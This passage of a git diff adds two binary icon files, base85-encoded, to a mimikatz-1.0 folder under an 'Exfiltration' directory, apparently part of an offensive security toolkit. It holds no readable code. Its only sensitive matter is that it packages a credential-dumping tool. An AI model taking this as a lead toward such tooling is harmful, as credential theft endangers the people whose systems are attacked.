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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_kiwi.ico new file mode 100644 index 0000000000000000000000000000000000000000..2285d1c96e11cc64fe45e4a5d46769f7b14a75e1 GIT binary patch literal 15086 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 Dz?Oji literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico new file mode 100644 index 0000000000000000000000000000000000000000..745963e406287671fb826bfa46ab7f27244906d6 GIT binary patch literal 15086 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 